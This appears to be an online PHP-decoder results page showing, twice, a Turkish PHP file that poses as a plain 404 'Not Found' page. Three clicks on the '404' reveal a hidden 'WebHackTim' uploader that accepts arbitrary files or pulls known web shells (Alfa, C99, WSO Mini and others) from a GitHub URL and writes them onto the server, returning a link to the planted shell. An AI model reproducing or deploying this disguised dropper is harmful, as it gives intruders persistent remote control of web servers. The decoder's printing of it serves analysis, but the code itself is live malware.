Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<!DOCTYPE html> <html lang="tr"> <head> <meta charset="UTF-8"> <meta name="vie..
Decoded Output download
<!DOCTYPE html>
<html lang="tr">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<style>
/* 404 Hata Sayfas Stili */
@media (prefers-color-scheme: dark) {
body {
background-color: #000 !important;
}
}
body {
color: #444;
margin: 0;
font: normal 14px/20px Arial, Helvetica, sans-serif;
height: 100%;
background-color: #fff;
}
.error-container {
height: auto;
min-height: 100%;
text-align: center;
width: 800px;
margin-left: -400px;
position: absolute;
top: 30%;
left: 50%;
}
.error-code {
margin: 0;
font-size: 150px;
line-height: 150px;
font-weight: bold;
}
.error-message {
margin-top: 20px;
font-size: 30px;
}
</style>
</head>
<body>
<div class="error-container">
<h1 class="error-code">404</h1>
<h2 class="error-message">Not Found</h2>
<p>The resource requested could not be found on this server!</p>
</div>
<!-- Gizli erik -->
<div class="hidden-content" style="display: none;">
<div class="form-container">
<h2>WebHackTim</h2>
<form class="upload" enctype="multipart/form-data" action="<?php echo $_SERVER['PHP_SELF']; ?>" method="POST">
<p>"Shell - 2024"</p>
<label for="uploaded_file" class="upload-button">Dosya Se</label>
<input type="file" id="uploaded_file" name="uploaded_file" style="display: none;">
<input type="submit" name="file_upload_submit" value="Dosya Ykle" class="upload-button">
<p>veya URL girin:</p>
<input type="text" name="file_url" placeholder="Dosya URL'si">
<button type="button" class="upload-button" onclick="uploadFile(document.querySelector('input[name=file_url]').value)">Link ile Dosya Ykle</button>
</form>
<div class="message">
SHELL SE
</div>
<div class="hack-buttons">
<button class="hack-button" onclick="uploadFile('https://github.com/poeice/Shelller/raw/main/1.php')">Alfa Ykle (ifreli)</button>
<button class="hack-button" onclick="uploadFile('https://github.com/poeice/Shelller/raw/main/2.php')">Alfa Ykle (ifresiz)</button>
<button class="hack-button" onclick="uploadFile('https://github.com/poeice/Shelller/raw/main/3.php')">C99 Ykle</button>
<button class="hack-button" onclick="uploadFile('https://github.com/poeice/Shelller/raw/main/4.php')">WsoMini Ykle</button>
<button class="hack-button" onclick="uploadFile('https://github.com/poeice/Shelller/raw/main/5.php')">k2ll33d Ykle</button>
<button class="hack-button" onclick="uploadFile('https://github.com/poeice/Shelller/raw/main/6.php')">spademini Ykle</button>
</div>
</div>
</div>
<script>
let clickCount = 0;
const zeroElement = document.querySelector('.error-code');
const errorContainer = document.querySelector('.error-container');
const hiddenContent = document.querySelector('.hidden-content');
zeroElement.addEventListener('click', () => {
clickCount++;
if (clickCount === 3) {
errorContainer.style.display = 'none';
hiddenContent.style.display = 'block';
}
});
function uploadFile(url) {
// Form esini al
var form = document.querySelector('.upload');
// URL deerini ieren gizli bir input alan ekleyin
var urlInput = document.createElement('input');
urlInput.type = 'hidden';
urlInput.name = 'url';
urlInput.value = url;
form.appendChild(urlInput);
// Formu gnder
form.submit();
}
</script>
<?php
if ($_SERVER["REQUEST_METHOD"] == "POST") {
if (isset($_POST["url"])) {
$url = $_POST["url"];
$fileContent = file_get_contents($url);
if ($fileContent !== false) {
$fileName = basename($url);
$uploadDirectory = "";
if (file_put_contents($uploadDirectory . $fileName, $fileContent) !== false) {
echo "<div class='message'>Dosya baaryla yklendi.<br>Shell linki: <a href='$uploadDirectory$fileName' target='_blank' style='color: #ff0000;'>$uploadDirectory$fileName</a></div>";
} else {
echo "<div class='message'>Dosya yklenirken bir hata olutu!</div>";
}
} else {
echo "<div class='message'>Dosya indirilirken bir hata olutu!</div>";
}
} else {
if (!empty($_FILES['uploaded_file'])) {
$uploadKlasoru = "";
$dosyaYolu = $uploadKlasoru . basename($_FILES['uploaded_file']['name']);
if (move_uploaded_file($_FILES['uploaded_file']['tmp_name'], $dosyaYolu)) {
echo "<div class='message'>Dosya baaryla yklendi.<br>Shell linki: <a href='$dosyaYolu' target='_blank' style='color: #ff0000;'>$dosyaYolu</a></div>";
} else {
echo "<div class='message'>Dosya yklenirken bir hata olutu!</div>";
}
}
}
}
?>
</body>
</html>
Did this file decode correctly?
Original Code
<!DOCTYPE html>
<html lang="tr">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<style>
/* 404 Hata Sayfas Stili */
@media (prefers-color-scheme: dark) {
body {
background-color: #000 !important;
}
}
body {
color: #444;
margin: 0;
font: normal 14px/20px Arial, Helvetica, sans-serif;
height: 100%;
background-color: #fff;
}
.error-container {
height: auto;
min-height: 100%;
text-align: center;
width: 800px;
margin-left: -400px;
position: absolute;
top: 30%;
left: 50%;
}
.error-code {
margin: 0;
font-size: 150px;
line-height: 150px;
font-weight: bold;
}
.error-message {
margin-top: 20px;
font-size: 30px;
}
</style>
</head>
<body>
<div class="error-container">
<h1 class="error-code">404</h1>
<h2 class="error-message">Not Found</h2>
<p>The resource requested could not be found on this server!</p>
</div>
<!-- Gizli erik -->
<div class="hidden-content" style="display: none;">
<div class="form-container">
<h2>WebHackTim</h2>
<form class="upload" enctype="multipart/form-data" action="<?php echo $_SERVER['PHP_SELF']; ?>" method="POST">
<p>"Shell - 2024"</p>
<label for="uploaded_file" class="upload-button">Dosya Se</label>
<input type="file" id="uploaded_file" name="uploaded_file" style="display: none;">
<input type="submit" name="file_upload_submit" value="Dosya Ykle" class="upload-button">
<p>veya URL girin:</p>
<input type="text" name="file_url" placeholder="Dosya URL'si">
<button type="button" class="upload-button" onclick="uploadFile(document.querySelector('input[name=file_url]').value)">Link ile Dosya Ykle</button>
</form>
<div class="message">
SHELL SE
</div>
<div class="hack-buttons">
<button class="hack-button" onclick="uploadFile('https://github.com/poeice/Shelller/raw/main/1.php')">Alfa Ykle (ifreli)</button>
<button class="hack-button" onclick="uploadFile('https://github.com/poeice/Shelller/raw/main/2.php')">Alfa Ykle (ifresiz)</button>
<button class="hack-button" onclick="uploadFile('https://github.com/poeice/Shelller/raw/main/3.php')">C99 Ykle</button>
<button class="hack-button" onclick="uploadFile('https://github.com/poeice/Shelller/raw/main/4.php')">WsoMini Ykle</button>
<button class="hack-button" onclick="uploadFile('https://github.com/poeice/Shelller/raw/main/5.php')">k2ll33d Ykle</button>
<button class="hack-button" onclick="uploadFile('https://github.com/poeice/Shelller/raw/main/6.php')">spademini Ykle</button>
</div>
</div>
</div>
<script>
let clickCount = 0;
const zeroElement = document.querySelector('.error-code');
const errorContainer = document.querySelector('.error-container');
const hiddenContent = document.querySelector('.hidden-content');
zeroElement.addEventListener('click', () => {
clickCount++;
if (clickCount === 3) {
errorContainer.style.display = 'none';
hiddenContent.style.display = 'block';
}
});
function uploadFile(url) {
// Form esini al
var form = document.querySelector('.upload');
// URL deerini ieren gizli bir input alan ekleyin
var urlInput = document.createElement('input');
urlInput.type = 'hidden';
urlInput.name = 'url';
urlInput.value = url;
form.appendChild(urlInput);
// Formu gnder
form.submit();
}
</script>
<?php
if ($_SERVER["REQUEST_METHOD"] == "POST") {
if (isset($_POST["url"])) {
$url = $_POST["url"];
$fileContent = file_get_contents($url);
if ($fileContent !== false) {
$fileName = basename($url);
$uploadDirectory = "";
if (file_put_contents($uploadDirectory . $fileName, $fileContent) !== false) {
echo "<div class='message'>Dosya baaryla yklendi.<br>Shell linki: <a href='$uploadDirectory$fileName' target='_blank' style='color: #ff0000;'>$uploadDirectory$fileName</a></div>";
} else {
echo "<div class='message'>Dosya yklenirken bir hata olutu!</div>";
}
} else {
echo "<div class='message'>Dosya indirilirken bir hata olutu!</div>";
}
} else {
if (!empty($_FILES['uploaded_file'])) {
$uploadKlasoru = "";
$dosyaYolu = $uploadKlasoru . basename($_FILES['uploaded_file']['name']);
if (move_uploaded_file($_FILES['uploaded_file']['tmp_name'], $dosyaYolu)) {
echo "<div class='message'>Dosya baaryla yklendi.<br>Shell linki: <a href='$dosyaYolu' target='_blank' style='color: #ff0000;'>$dosyaYolu</a></div>";
} else {
echo "<div class='message'>Dosya yklenirken bir hata olutu!</div>";
}
}
}
}
?>
</body>
</html>
Function Calls
None |
Stats
MD5 | 19e6feaaedd99a87e100811407913378 |
Eval Count | 0 |
Decode Time | 63 ms |